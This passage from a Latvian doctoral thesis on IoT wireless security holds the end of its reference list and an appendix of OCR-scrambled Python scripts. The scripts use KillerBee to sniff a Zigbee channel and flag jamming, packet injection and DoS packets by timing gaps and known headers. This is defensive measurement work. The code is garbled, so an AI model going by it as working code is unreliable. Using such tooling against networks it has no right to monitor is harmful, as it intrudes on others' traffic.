Journal of Emerging Technologies and Innovative Research, Vol. 7, Issue 5, May 2020, pp.
819-822.

[69] Marksteiner S., Exposito Jimenez V.J., Vallant H., Zeiner H., “An Overview of Wireless
loT Protocol Security in the Smart Home Domain”, ArXiv: Cryptography and Security, Jan.
222018, pp. 8.

[70] LoRa Alliance. “LoRaWAN Security Whitepaper.” 2020. https://lora-alliance.org/wp-
content/uploads/2020/11/lorawan_security_whitepaper.pdf.

[71] Amina Sljivo, Dwight Kerkhove, Le Tian, Jeroen Famaey, Adrian Munteanu, Ingrid
Moerman, Jeroen Hoebeke, Eli De Poorter, “Performance Evaluation of IEEE 802.11ah
Networks With High-Throuhgput Bidirectional Traffic”, University of Antwerp, 2018, 28 pp.
[72] Le Tian, Amina éljivo, Serena Santi, Eli De Poorter, Jeroen Hoebeke, Jeroen Famaey,
“Extension of the IEEE 802.11ah ns-3 Simulation Module”, University of Antwerp and Ghent
University — imec, 2018, 8 pp.

[73] L. Frenzel. “What’s the Difference Between IEEE 802.15.4 and Zigbee Wireless?”
Electronicdesign.com.
https://www.electronicdesign.com/technologies/communications/wireless/article/21796046/w
hats-the-difference-between-ieee-802154-and-zigbee-wireless (pieejams Mar. 22, 2013).

137


https://www.radiolocman.com/op/device.html?di=65682
https://www.zigbee2mqtt.io/advanced/zigbee/04_sniff_zigbee_traffic.html
https://www.emqx.com/en/blog/navigating-dds-basics-limitations-and-integration-with-mqtt
https://www.emqx.com/en/blog/navigating-dds-basics-limitations-and-integration-with-mqtt
https://www.iotcentral.io/blog-all/a-hrefwhat-is-matter-protocol-and-how-does-it-worka
https://lora-alliance.org/wp-content/uploads/2020/11/lorawan_security_whitepaper.pdf
https://lora-alliance.org/wp-content/uploads/2020/11/lorawan_security_whitepaper.pdf

[74] Burchfield T.R., Venkatesan S., Weiner D., “Maximizing Throughput in ZigBee Wireless
Networks through Analysis, Simulations and Implementations.”, MobiusConsulting.com.,
2007, pp. 13.

[75] GeeksforGeeks. “Introduction of IEEE 802.15.4 Technology” GeeksforGeeks.org
https://www.geeksforgeeks.org/introduction-of-ieee-802-15-4-technology/ (pieejams Feb. 22,
2023)

[76] Gharghan S.K., Rosdiadee N., Ismail M., “An Ultra-Low Power Wireless Sensor Network
for Bicycle Torque Performance Measurements”, PubMed, May 2015.

[77] Saleem S., Ullah S., Kwak K.S., “A Study of IEEE 802.15.4 Security Framework for
Wireless Body Area Networks”,Graduate School of Information & Communication
Engineering, Jan. 2011, pp. 13.

[78] Goldoni E., Savioli A., Risi M., Gamba P., “Experimental analysis of RSSI-based indoor
localization with 802.15.4”, IEEE Xplore, May 2010, pp. 8.

[79] Delsing J., Eliasson J., Leijon V., “Latency and Packet Loss of an Interferred 802.15.4
Channel in an Industrial Environment”, SensorComm 2010, July 2010, pp. 9.

[80] Latre B., De Mil P., Moerman I., Dierdonck N.V., Dhoedt B., Demeester P., “Maximum
Throughput and Minimum Delay in IEEE 802.15.4”, Mobile Ad-hoc and Sensor Networks,
First International Conference, MSN 2005, Dec. 2005, pp. 12.

[81] Shu F., Sakurai T., Zukerman M., Vu H., “Packet loss analysis of the IEEE 802.15.4 MAC
without acknowledgments”, IEEE Communications Letters, Jan. 2007, pp. 4.

[82] Callaway E., Gorday P., Hester L., Gutierrez J.A., Naeve M., Heile B., Bahl V., “Home
networking with IEEE 802.15.4: a developing standard for low-rate wireless personal area
networks”, IEEE Communications Magazine, Vol. 40, Issue 8, Aug 2002, pp. 70-77.

[83] Texas Instruments: CC2531 Datasheet, Texas Instruments. -

https://lwww.ti.com/lit/ds/symlink/cc2531.pdf

[84] Phoscon. “RaspBee Il — Zighee Gateway.” Phoscon. https://phoscon.de/en/raspbee?.
[85] Adafruit. Great Scott Gadgets HackRF One - Software Defined Radio. -
https://www.adafruit.com/product/3583

[86] Positive Hack Days (PHDays). International Cybersecurity Conference // PHDays, 2023.
[87] ESET. ESET Security Day 2024 — Vitalijs Rakstins, Presentation // ESET, 2024.

[88] Check Poaint. “What is Cloud Security?” Checkpoint.com.

https://www.checkpoint.com/cyber-hub/cloud-security/what-is-cloud-security/.

[89] Microsoft. “What is Information Security (InfoSec)?”, Microsoft Security, 2024.

138


https://phoscon.de/en/raspbee2
https://www.checkpoint.com/cyber-hub/cloud-security/what-is-cloud-security/

[90] Sousa de Araujo M., Souza Machado B.A., Passos F.U., “Resilience in the Context of
Cyber Security: A Review of the Fundamental Concepts and Relevance”, Progress and
Research in Cybersecurity and Data Privacy, Mar. 2024, pp. 16.

[91] Turiba University. “Kiberdrosibas jautajumi un risinajumi.” Turiba University. 2024.
https://www.turiba.lv/storage/files/makets-ar-vaaku.pdf.

[92] Microsoft. “What is a  Cyberattack?”,  Microsoft  Security, 2024.

https://www.microsoft.com/lv-lv/security/business/security-101/what-is-a-cyberattack.

[93] Hern A. “WannaCry, Petya, NotPetya: how ransomware hit the big time in 2017.”, The

Guardian.com. https://www.theguardian.com/technology/2017/dec/30/wannacry-petya-

notpetya-ransomware. (pieejams Dec. 30, 2017).

[94] Microsoft Support. “Pasargajiet sevi no krap$anas un uzbrukumiem tie$saiste” Microsoft
Support. 2024,

[95] Daniils Aleksandrovs-Moisejs, Aleksandrs Ipatovs, Elans Grabs, Dmitrijs Rjazanovs,
Evaluation of a Long-Distance IEEE 802.11ah Wireless Technology in Linux Using Docker
Containers, Elektronika ir elektrotechnika = Electronics and Electrical Engineering, 2022,
9 Ipp.

[96] Latvijas Aizsardzibas ministrija. “Latvijas KiberdroSibas stratégija 2024.” Aizsardzibas
ministrija, 2024.

[97] Redeweb. “Drosibas problémas un veidi, ka pastiprinat tas galéjibas” Redeweb Blog.
2024.

[98] Payatu Security. “Zigbee Security 101: Architecture and Security Issues.” Payatu.com.
https://payatu.com/blog/zigbee-security-101-architecture-and-security-issues/ (pieejams Feb.
11, 2023)

[99] Kudelski Security. “Zigbee Security Basics: Part 3. ” Research.kudelskisecurity.com.
https://research.kudelskisecurity.com/2017/11/21/zigbee-security-basics-part-3/ (pieejams
Nov. 21, 2017)

[100] SSL Support Team. “Securing the Internet of Things (loT) with SSL/TLS.” SSL.com,
https://www.ssl.com/article/securing-the-internet-of-things-iot-with-ssl-tls/ (pieejams Nov 23,
2021).

[101] Restuccia G., Tschofenig H., Baccelli E., “Low-Power loT Communication Security: On
the Performance of DTLS and TLS 1.3”, ArXiv: Cryptography and Security, Nov. 24 2020.
[102] GeeksforGeeks. “Advanced Encryption Standard (AES)” GeeksforGeeks.com.

https://www.geeksforgeeks.org/advanced-encryption-standard-aes/ (pieejams Feb. 3, 2025).

139


https://www.microsoft.com/lv-lv/security/business/security-101/what-is-a-cyberattack
https://www.theguardian.com/technology/2017/dec/30/wannacry-petya-notpetya-ransomware
https://www.theguardian.com/technology/2017/dec/30/wannacry-petya-notpetya-ransomware
https://www.ssl.com/article/securing-the-internet-of-things-iot-with-ssl-tls/
https://www.geeksforgeeks.org/advanced-encryption-standard-aes/

[103] Sahu S.K., Mazumdar K., “Exploring security threats and solutions Techniques for
Internet of Things (IoT): from vulnerabilities to vigilance”, Front Artif Intell, May 15, 2024,
DOI: 10.3389/frai.2024.1397480

[104] Embedded Systems. “loT Security: When X.509 Certificate Authentication May Not

Work.” Embedded.com. https://www.embedded.com/iot-security-when-x-509-certificate-

authentication-may-not-work/ (pieejams Oct. 3, 2016).

[105] Cyral. “How to Integrate Grafana with AuthO for Secure Authentication”, Cyral Blog.
[106] Chirpstack. “AuthO Integration with Chirpstack loT Platform.” Chirpstack.io.
https://www.chirpstack.io/docs/guides/authO-integration.html.

[107] Microsoft. “What is Two-Factor Authentication (2FA)?”” Microsoft Security. 2024.
[108] Singh J., Rani S., Kumar V., “Role-Based Access Control (RBAC) enabled secure and

efficient data processing framework for IoT networks,” International Journal of
Communication Networks and Information Security (IJCNIS), vol. 16, no. 2, Aug. 2024. pp.
19-32.

[109] Hammed K., Raza A., Garg S., Amin M.B., “A Blockchain-based Decentralised and
Dynamic Authorisation Scheme for the Internet of Things”, ArXiv Cryptography and Security,
Aug. 15, 2022.

[110] Lutkevich B., “Access Control List (ACL) — Definition & Usage.” TechTarget.com.
https://www.techtarget.com/searchnetworking/definition/access-control-list-ACL.

[111] Hguyen T.D., Marchal S., Miettinen M., Fereidooni H., Asokan N., Sadeghi A.-R.,
“DIioT: A Federated Self-learning Anomaly Detection System for 10T, 2019 IEEE 39th
International Conference on Distributed Computing Systems (ICDCS), Oct. 31, 2019. DOI:
10.1109/ICDCS.2019.00080

[112] Security Scorecard. “Cybersecurity for the Internet of Things (IoT)”

SecurityScorecard.com. https://securityscorecard.com/blog/cybersecurity-for-the-internet-of-
things-iot/ (pieejams Feb. 8, 2024).

[113] MetaGeek. “Zigbee and Wi-Fi  Coexistence” MetaGeek.com. 2024.
https://lwww.metageek.com/training/resources/zighee-wifi-coexistence/ (pieejams 2024).
[114] Goyal M., Prakash S., Xie W., Bashir Y., Hosseini S.H., Durresi A., “Evaluating the
Impact of Signal to Noise Ratio on IEEE 802.15.4 PHY-level Packet Loss Rate”, The 13th
International Conference on Network-Based Information Systems, NBiS 2010, 2010, pp. 279-
284.

140


https://www.embedded.com/iot-security-when-x-509-certificate-authentication-may-not-work/
https://www.embedded.com/iot-security-when-x-509-certificate-authentication-may-not-work/
https://www.chirpstack.io/docs/guides/auth0-integration.html
https://www.techtarget.com/searchnetworking/definition/access-control-list-ACL

[115] Haque K.F., Abdelgawad A., Yelamarthi K.., “Comprehensive Performance Analysis of
Zigbee Communication: An Experimental Approach with XBee S2C Module”, MDPI
Reliability Analysis of Wireless Sensor Network, Apr. 2022, pp. 23.

[116] Lanzisera S., Mehta A.M., Pister K.S.J., “Reducing Average Power in Wireless Sensor
Networks Through Data Rate Adaptation”, Communications, 2009. ICC '09. IEEE
International Conference, Jul. 2009, p. 6.

[117] Rupareliya K., “Top 6 Factors To Consider When Designing the IoT Infrastructure”,
Spiceworks.com. https://www.spiceworks.com/tech/iot/guest-article/factors-to-consider-
when-designing-the-iot-infrastructure/ (pieejams Sept. 20, 2021).

[118] NS2Project. “How to Calculate Network Channel Capacity in NS2” NS2Project.com.
https://www.ns2project.com/how-to-calculate-network-channel-capacity-in-ns2/  (pieejams
2024).

[119] Molisch A.F., Balakrishnan K., Cassioli D., Chong C-C., Emami S., Fort A., Karedal J.,
Kunisch J., Schantz H., Schuster U., Siwiak K., “Channel Model Final Report for IEEE
802.15.4a”, IEEE Communications, Jan 2004., pp. 40.

[120] Di Marco P., Fischione C., Santucci F., Johansson K.H., “Modeling IEEE 802.15.4
Networks over Fading Channels”, IEEE Transactions on Wireless Communications, Sept.
2012, pp. 30.

[121] Bandur D., Jaksic B., Raicevic A., Popovic B., Bandur M., “Performance Analysis of an
IEEE 802.15.4 Network Operating Under x—u Fading, Interference and AWGN?”, Iranian
Journal of Science and Technology, Transactions of Electrical Engineering, Vol. 44, Mar.
2020, pp. 1549-1557.

[122] Lopez-Vilos N., Valencia-Cordero C., Azurdia-Meza C., Montejo-Sanchez S., Mafra
S.B., “Performance Analysis of the IEEE 802.15.4 Protocol for Smart Environments under
Jamming Attacks”, MDPI Cyber Security in IoT Era, Jun. 2021, pp. 26.

[123] NXP. “Co-existence of IEEE 802.15.4 at 2.4 GHz Application Note.” NXP Technical

Documentation. https://www.nxp.com/docs/en/application-note/JN-AN-1079.pdf (pieejams
Nov. 8, 2013).

[124] Heartfield R., Loukas G., Bezemskij A., Panaousis E., “Self-Configurable Cyber-
Physical Intrusion Detection for Smart Homes Using Reinforcement Learning”, IEEE
Transactions on Information Forensics and Security, Vol. 16, Dec. 2, 2020, pp. 1720-1735.
[125] Carnegie Mellon University. Zigator: Security Analysis of Zigbee Networks. —

https://mews.sv.cmu.edu/research/zigator

141


https://www.nxp.com/docs/en/application-note/JN-AN-1079.pdf

[126] Khanji S., Igbal F., Hung P.C.K., “ZigBee Security Vulnerabilities: Exploration and
Evaluating”, The 10th International Conference on Information and Communication Systems
2019, Jul. 2019, pp. 6.

[127] Rajawat A.S., Mohammed O., Shaw R.N, Ghosh A., “Applications of Al and IoT in
Renewable Energy,” Chapter 6 — Renewable energy system for industrial internet of things
model using fusion-Al, 2022, pp. 107-128.

[128] StatisticsHowTo. “Root Mean Square Error (RMSE) Calculation.” Statisticshowto.com.
https://www.statisticshowto.com/probability-and-statistics/regression-analysis/rmse-root-
mean-square-error/

[129] Hasan M., “The IoT cloud: Microsoft Azure vs. AWS vs. Google Cloud.” loT-
Analytics.com. https://iot-analytics.com/iot-cloud (pieejams Feb. 16, 2022).

[130] Singh N., Buyya R., Hyoungshick K., “Securing Cloud-Based Internet of Things:
Challenges and Mitigations”, MDPI Advances in Security of Mobile and Wireless
Communications, Dec. 26, 2024, pp. 45.

[131] Mazhar T., Talpur D.B., Al Shloul T., Ghadi Y.Y., Haq I., Ullah I., Ouahada K., Hamam
H., “Analysis of IoT Security Challenges and Its Solutions Using Artificial Intelligence”,
MDPI Intelligent Neural Systems for Solving Real Problems, Apr. 2023, pp. 30.

[132] AVSystem. “LwM2M loT Device Management Features.” AVSystem.com.
https://avsystem.com/blog/iot/lwm2m-iot-device-management-features (pieejams Oct. 23,
2023).

[133] Nweke L.O., “Using the CIA and AAA Models to Explain Cybersecuirty Activities”,
PM World Journal Vol. 6, Issue XII, Dec. 2017, pp. 3.

[134] NIST. “Cybersecurity Guidelines for 10T Devices”, National Institute of Standards and

Technology (NIST). https://www.nist.gov/itl/applied-cybersecurity/nist-cybersecurity-iot-
program.

[135] ISO. “The Ultimate Guide to ISO 27001.” Isms.online. https://www.isms.online/iso-
27001/ (pieejams Dec. 19, 2024).

[136] Varga P., Plosz S., Soos G., Hegedus C., “Security threats and issues in automation [oT”,
2017 IEEE 13th International Workshop on Factory Communication Systems (WFCS), Jul.
2017.

[137] Rapid7. “What is Security Orchestration, Automation, and Response (SOAR)?”

Rapid7.com. https://www.rapid7.com/fundamentals/what-is-soar/

142


https://iot-analytics.com/iot-cloud
https://avsystem.com/blog/iot/lwm2m-iot-device-management-features
https://www.nist.gov/itl/applied-cybersecurity/nist-cybersecurity-iot-program
https://www.nist.gov/itl/applied-cybersecurity/nist-cybersecurity-iot-program
https://www.isms.online/iso-27001/
https://www.isms.online/iso-27001/

[138] Al-Ofeishat H.A., Alshorman R., “Build a Secure Network Using Segmentation and
Micro-segmentation Techniques”, International Journal of Computing and Digital Systems,
Jul. 2024, pp. 1499-1508.

[139] GeeksforGeeks. “Differentiated Services (DiffServ) and Traffic Classification.”

GeeksforGeeks.com. https://www.geeksforgeeks.org/differentiated-services-diffserv-and-

traffic-classification/ (pieejams Oct. 11, 2023)

[140] UC Berkeley. Quality of Service in Wireless Networks. UC Berkeley Lecture Notes —
https://people.eecs.berkeley.edu/~istoica/classes/cs268/06/notes/13-QoSx2.pdf

[141] Scikit-learn. “Polynomial Regression for Signal Analysis.” Scikit-learn Documentation.
[142] Fletcher S.J., “Data Assimilation for the Geosciences”, Chapter 10 — Introduction to
Semi-Lagrangian Advection Methods, 2017, pp. 361-441.

[143] Lima F.T., Vinicius M.A. Souza, Big Data Research, Volume 34, A Large Comparison
of Normalization Methods on Time Series, 2023.

[144] Hodges L., “Methods in Experimental Physics”, Vol. 28, Common Univariate
Distributions, 1994, pp. 35-61.

[145] Stallings W. Cryptography and Network Security: Principles and Practice. 5. izd. Pearson
Education, 2011.

[146] Ferguson N., Schneier B., Kohno T. Cryptography Engineering: Design Principles and
Practical Applications. Wiley, 2010.

143


https://www.geeksforgeeks.org/differentiated-services-diffserv-and-traffic-classification/
https://www.geeksforgeeks.org/differentiated-services-diffserv-and-traffic-classification/

1. pielikums

Promocijas darba izpildes programma uzbrukuma un pretpasakumu
iericem

IEEE 802.15.4 tikla uzraudzibas analize un adaptiva traucéjumu noteikSana

import logging # Troksna paketes parbaude
import numpy as np is_jamming_packet = 1 if
from killerbee import KillerBee payload[:2] == JAMMING_PACKET_HEADER else 0
import time
from datetime import datetime, timedelta jamming_packets.append(is_jamming_packet)
import matplotlib.pyplot as plt
import csv # Parasto pakesu fikséSana
logging.basicConfig(level=logging.INFO, is_normal_packet = 1 if not
format="%(asctime)s - % (levelname)s - % (message)s") is_jamming_packet else 0
KANALS = 15 normal_packets.append(is_normal_ packet
ILGUMS = 120
IERICE = "1:3"
IZVADES_FAILS_RSSI = logging.info (f"Laiks={current time}, RSSI={rssi}
"rssi_analysis_adaptive_jamming.png" dBm, Caurlaidspéja={real_cap:.2f} kbit/s,
IZVADES_FAILS_CAPACITY = Troksnis={is_jamming_packet}, Parastéa
"capacity_analysis_adaptive_jamming.png" pakete={is_normal_packet}")
CSV_FAILS = "zigbee_sniffing results.csv"
detect_jamming (last_packet_time,
# Konstantes current_time)
C_THEORETICAL = 250
OVERHEAD = 0.4 except Exception as e:
NOISE_FLOOR = -95 logging.error (f"Paketes apstrades
MAX_SNR = 40 kltada: {e}")
M= 0.8
OMEGA = 0.3 kb.close ()
JAMMING_THRESHOLD = 2 # Slieksnis (sekundés) save_to_csv (CSV_FAILS
troksna noteik$anai plot_results ()
JAMMING_PACKET_HEADER = b"\xFF\xFF" # Troksna
paketes galvene def plot_results():
if not timestamps:
# Dati logging.warning ("Nav datu grafikiem.")
timestamps = [] return
real rssi = []
nakagami_rssi = [] times_seconds = [(ts -
real_capacity = [] timestamps[0]) .total_seconds() for ts in
theoretical_capacity = [] timestamps]
jamming_intervals = []
jamming_packets = [] # Troksna paketes markieri # vidéjas vértibas
normal_packets = [] # Parastas paketes markieri mean_real rssi = np.mean(real_rssi) if
real_rssi else 0
def nakagami_fading(m, omega, size=1): mean_nakagami_rssi = np.mean(nakagami_rssi) if
return np.random.gamma (shape=m, scale=omega / nakagami_rssi else 0
m, size=size) mean_real_capacity = np.mean(real_capacity) if
def apply nakagami_rssi (base_rssi, m, omega): real capacity else 0
fading = nakagami_fading(m=m, omega=omega, mean_theoretical capacity =
size=1) [0] np.mean (theoretical_capacity) if
return base rssi + 10 * np.logl0(fading) theoretical capacity else 0
def calculate_capacity(rssi):
snr_db = rssi - NOISE_FLOOR # RSSI grafiks
if snr_db < 0: plt.figure(figsize=(12, 6))
return 0 plt.plot(times_seconds, real_rssi
P_success = max (0.1, min(1.0, snr_db / label="Realais RSSI", color="blue")
MAX_SNR) ) plt.plot (times_seconds, nakagami_rssi,
Duty Cycle = max (0.1, min(0.8, snr_db / label="Modificétais RSSI", color
MAX_SNR))
return C_THEORETICAL * (1 - OVERHEAD) * label_added = False
P_success * Duty_Cycle for start, end in jamming_ intervals:
start_sec = (start -
def detect_jamming(last_packet_time, current_time): timestamps[0]).total_seconds ()
global jamming intervals end _sec = (end -
if last_packet_time and (current_time - timestamps([0]).total_seconds ()
last packet time).total seconds() > label = "Troksnis" if not label added else
JAMMING_THRESHOLD: None
start_time = last_packet_time + plt.axvspan(start_sec, end_sec,
timedelta (seconds=JAMMING_THRESHOLD) color="purple", alpha=0.3, label=label)
end_time = current_time label_added = True
jamming_intervals.append((start_time,
end_time)) normal_packet_times = [times_seconds[i] for i,
logging.warning (f"Noteikts troksnis: is_normal in enumerate(normal_ packets) if
{start_time} - {end_time}") is_normal]

def save_to_csv(filename) :
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with open(filename, "w",
csvfile:

newline="") as

writer = csv.writer (csvfile)
writer.writerow ([
"Laikspiedols", "Realais RSSI",
"Nakagami RSSI", "Reala caurlaidspéja",
"Teorétiska caurlaidspéja",
"Troksna pakete", "Parasta pakete"
1)
for i in range(len(timestamps)):

"Troksnis",

jamming_flag = any(start <=
timestamps[i] <= end for start, end in
jamming_intervals)
writer.writerow ([
timestamps[i].strftime ("$Y-%m-%d

$H:%$M:%S"),

real_rssi[il],

nakagami_rssi[i]

real_capacityl[i],

theoretical capacityl[il],

int (Jamming_flag), # 1 ja trok3na
laika, citadi 0

jamming_packets([i], # 1 ja troksnpa
pakete, citadi 0

normal packets[i] # 1 ja parasta
pakete, citadi 0

1)
logging.info (f"Dati saglabati faila:
{filename}")

def sniff and_analyze(device, channel, duration):
try:
kb = KillerBee (device=device)
kb.set_channel (channel)
logging.info (f"Monitorings sakts uz kanala
{channel} ar ierici {device}.")
except Exception as e:
logging.error (f"Ierices inicializéacijas
{el™)

return

klada:

start_time = time.time ()
last_packet_time = None

while time.time ()
try:
packet = kb.pnext ()
current_time = datetime.now()
if packet:
rssi = packet.get ("rssi",
payload = packet.get ("bytes",

- start_time < duration:

None)
S

if rssi is None or rssi > 0:
continue

last_packet_time = current_time
timestamps.append (current_time)
real rssi.append(rssi)
nakagami_value =
apply_nakagami_rssi(rssi, M, OMEGA)

nakagami_rssi.append(nakagami_value)
real_cap = calculate_capacity(rssi)
theo_cap =
calculate_capacity(nakagami_value)

real capacity.append(real cap)

theoretical capacity.append(theo_cap)

normal_packet_rssi = [real rssi[i] for i,
is_normal in enumerate (normal packets) if
is_normal]

plt.scatter (normal_packet_times,
normal_packet_rssi, color="green", marker="o",
labe Parastas paketes", s=50)

plt.axhline(y=mean_real_rssi, color
linestyle="--", label=f"Vidéjais RSSI:
{mean_real_rssi:.2f} dBm")

plt.axhline (y=mean_nakagami_rssi, color="cyan",
linestyle="--", label=f"Vidéjais modificétais RSSI:
{mean_nakagami_rssi:.2f} dBm")

plt.xlabel ("Laiks (sekundes)")

plt.ylabel ("RSSI (dBm)")

plt.title("RSSI analize un troksnis")

plt.legend()

plt.grid()

plt.tight_layout ()

plt.savefig (IZVADES_FAILS_RSSI)

plt.close()

"green",

# Caurlaidspéjas grafiks
plt.figure(figsize=(12, 6))
plt.plot(times_seconds, real_capacity,
label="Realad caurlaidspé&ja", color="blue")
plt.plot(times_seconds, theoretical capacity,
label="Modificéta caurlaidspé&ja", color="orange")
plt.axhline (y=mean_real_ capacity,
color="green", linestyle="--", label=f"Vidéja reala
caurlaidspéja: {mean_real capacity:.2f} kbit/s")
plt.axhline (y=mean_theoretical_ capacity,
color="cyan", linestyl label=f"Vidéja
modificéta caurlaidspéja:
{mean_theoretical capacity:.2f} kbit/s")
plt.xlabel ("Laiks (sekundes)")
plt.ylabel ("Caurlaidspéja (kbit/s)")
plt.title("Caurlaidspéjas analize")
plt.legend()
plt.grid()
plt.tight_ layout ()
plt.savefig (IZVADES_FAILS_CAPACITY)
plt.close()

if _ name_ == "_main_ ":
sniff_and _analyze (IERICE, KANALS, ILGUMS)
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IEEE 802.15.4 tikla uzraudzibas analize un pakeSu injekcijas noteik§ana

import logging

import numpy as np

from killerbee import KillerBee

from datetime import datetime, timedelta
import matplotlib.pyplot as plt

import time

import csv

# Zurnala konfiguracija
logging.basicConfig(level=logging.INFO,
format="% (asctime)s - % (levelname)s -
% (message)s")

# Konstantes

KANALS = 15 # Zigbee kanals

ILGUMS = 30 # Uzraudzibas laiks sekundés
IERICE = "1:3" # Sniffer ierice
GAIDTTAIS_HEADER = b"\xAA\xBB"
galvene

# Injektora

# Nakagami parametri
M= 0.8
OMEGA = 0.3

# Caurlaidspéjas aprékina parametri
CiTEORETISKAIS = 250 # Teorétiska
caurlaidspéja (kbit/s)

OVERHEAD = 0.4 # Papildus datu slogs (40%)
NOISE = -95 # Trok3pa limenis dBm

MAX_SNR = 30 # Maksimadlais SNR

# Datu saglabasanas faili
IZVADES_FAILS RSSI =

"rssi_analize_ar_ injektoru.png"
IZVADES_FAILS_KAPACITATE =
"caurlaidspeja_analize_ ar_ injektoru.png"
DATUS_FAILS = "dati_rssi_kapacitate.csv"

# Saraksti datu glaba$anai
timestamps = []
original_rssi = []
modified rssi = []
real_capacity = []
theoretical capacity = []
injection_points = []
jamming periods = []

# Mainigais pédéjas injekcijas sekoSanai
last_injection_time = None

def nakagami_ fading(m, omega, size=1):
"""Nakagami sadalijuma vértibu
generésana."""
return np.random.gamma (shape=m,
scale=omega / m, size=size)

def apply nakagami_rssi(base_rssi, m,
omega) :

"""Nakagami pielietoSana RSSI
vértibai."""

fading = nakagami_fading (m=m,
omega=omega, size=1)[0]

return base_rssi + 10 * np.logl0(fading)

def decode_rssi(encoded rssi):
"""RSSI vértibas dekodéSana."""
return encoded _rssi - 256 if

encoded_rssi > 127 else encoded_rssi

def calculate_capacity(rssi):
"""Caurlaidspéjas aprékins."""
snr_db = rssi - NOISE

current_time = datetime.now ()
nakagami_rssi =

apply nakagami_rssi(rssi, M, OMEGA)
real cap = calculate_capacity(rssi)
theoretical cap =

calculate capacity(nakagami_rssi)

timestamps.append (current_time)
original rssi.append(rssi)
modified rssi.append(nakagami_rssi)
real capacity.append(real cap)

theoretical capacity.append(theoretical cap)
if payload.startswith (GAIDITAIS HEADER) :

injection_points.append((len(timestamps) -
1, rssi))

logging.info (f"Injekcija:
RSSI={rssi} dBm")

detect_jamming (current_time)

def save_data_to_csv():
"""Datu saglabasana CSV faila."""
with open (DATUS_FAILS, mode="w",
newline="", encoding="utf-8") as file:
writer = csv.writer(file)
writer.writerow(["Laiks",
"Origindlais RSSI", "Modificétais RSSI",
"Redla caurlaidspéja", "Teorétiska
caurlaidspéja"])
for ts, ori_rssi, mod rssi,
real cap, theo_cap in zip(timestamps,
original_rssi, modified rssi, real_capacity,
theoretical capacity):

writer.writerow([ts.strftime ("$Y-%m-%d

$H:%M:%S"), ori rssi, mod rssi, real cap,
theo_cap])

def plot_results():
"""Grafiku izveide."""
if not timestamps:
logging.warning ("Nav datu grafika
izveidei."™)
return

seconds = [(t -
timestamps[0]).total seconds() for t in
timestamps]

# RSSI grafiks

plt.figure(figsize=(12, 6))

plt.plot (seconds, original rssi,
label="Originalais RSSI", linestyle="-",
color="blue")

plt.plot(seconds, modified rssi,
label="Modificétais RSSI (Nakagami)",
linestyle="--", color="orange")

plt.scatter([seconds[idx] for idx, _ in
injection_points], [-90] *
len(injection_points), color="red",
label="Injekcija")

for start, end in jamming periods:

plt.axvspan((start -

timestamps([0]).total seconds(),
timestamps[0]) .total seconds(),
color="purple", alpha=0.3, label="Troksnis")

plt.xlabel ("Laiks (sekundes)")

plt.ylabel ("RSSI (dBm)")

plt.title("RSSI analize ar injekciju")

plt.legend()

(end -
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if snr_db < 0:
return 0

P_success max (0.1, min(1.0, snr_db /

MAX_ SNR))

Duty Cycle = max (0.1, min(0.8, snr_db /
MAX SNR))

capacity = C_TEORETISKAIS * (1 -
OVERHEAD) * P_success * Duty Cycle

return capacity

def detect_jamming(current_time):
"""TrokSna noteikSana péc intervala
starp inzekcijam."""
global last_injection_time,
jamming periods
expected_interval 2.0 # Maksimalais
intervals starp injekcijam (sekundés)
if last_injection_time and (current_time
- last_injection_time).total_ seconds() >
expected_interval:
start_time last_injection_time
end_time current_time
jamming periods.append((start_time,
end_time))
logging.warning (f"Noteikts troksnis:
{start_time} - {end_time}")
last_injection time current_time

def process_packet (packet) :

"""pPaketes apstrade."""

global timestamps, original rssi,
modified rssi, real_capacity,
theoretical capacity, injection_points

if not packet:
logging.warning ("Pakete nav

pieejama. Izlaists.")
return
payload = packet.get ("bytes", b"")
rssi = packet.get("rssi", None)

if rssi is None:
logging.warning ("Pakete bez RSSI.
Izlaists.™)
return

if rssi >= 0:
logging.warning (f"Izlaista pakete ar
nekorektu RSSI: {rssi}")
return

plt.grid()

plt.tight_layout ()

plt.savefig (IZVADES_ FAILS_RSSI
plt.close()

# Caurlaidspéjas grafiks

plt.figure(figsize=(12, 6))

plt.plot(seconds, real capacity,
label="Reala caurlaidspéja", linestyle="-",
color="blue")

plt.plot(seconds, theoretical capacity,
label="Teorétiska caurlaidspé&ja",
linestyle="--", color="orange")

for start, end in jamming periods:

plt.axvspan((start -

timestamps[0]) .total seconds(),
timestamps[0]).total seconds(),
color="purple", alpha=0.3, label="Troksnis")

plt.xlabel ("Laiks (sekundes)")

plt.ylabel ("Caurlaidspéja (kbit/s)")

plt.title("Caurlaidspéjas analize ar
injekciju™)

plt.legend()

plt.grid()

plt.tight_layout ()

plt.savefig(IZVADES_FAILS_KAPACITATE)

plt.close()

(end -

logging.info (f"Grafiki saglabati:
{IZVADES_FAILS RSSI},
{IZVADES_FAILS KAPACITATE}")

def sniff and_analyze (device, channel,
duration) :
"""Datu snifé&Sana un analize."""
kb KillerBee (device=device)
kb.set_channel (channel)
start_time time.time ()
while time.time() - start_time <
duration:
process_packet (kb.pnext ())
kb.close ()
save_data_to_csv ()
plot_results()

—— n "

if _ name_ _ main_ ":
sniff and_analyze (IERICE, KANALS,
ILGUMS)
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IEEE 802.15.4 tikla uzraudzibas analize un DoS uzbrukumu noteik§ana

import logging

import numpy as np

from killerbee import KillerBee
import time

from datetime import datetime,
import matplotlib.pyplot as plt
import csv

timedelta

# Zurnala konfiguracija
logging.basicConfig(level=logging.INFO,
format="% (asctime)s - % (levelname)s -
% (message)s")

# Parametri
KANALS = 15
ILGUMS = 120
IERICE = "1:3"
HEADERS_TO_DETECT =
uzbrukuma galvene

# Zigbee kanals
# Uzraudzibas laiks sekundés
# Sniffer ierice

[b"\x01\x01"] # DoS

NO_DOS_TIMEOUT = 0.2 # Laiks 1idz troksna
noteikSanai (sekundés)

# Konstantes

NOISE FLOOR = -95 # Trokdpa limenis dBm

CiTHEGRETICAL = 250 # Teorétiska
caurlaidspéja (kbit/s)

OVERHEAD = 0.4 # Papildu slodze
MAX_SNR = 40 # Maksimalais SNR
(normalizacijai)

M = 0.8 # Nakagami formas parametrs
OMEGA = 0.3 # Vidéja jauda

(40%)

# Dati analizei

timestamps = []

original_rssi = []

modified rssi = []

real capacity = []

modified capacity = []

dos_flags = [] # DoS uzbrukumu markieri
jamming intervals = [] # Troksnu periodi
[(start_time, end time)]

def nakagami_fading(m, omega, size=1):
"""Nakagami sadalijuma vértibu
generésana."""
return np.random.gamma (shape=m,
scale=omega / m, size=size)

def apply nakagami_rssi (base_rssi, m,
omega) :

"""Nakagami sadalijuma pielietoSana
RSSI vértibai."""

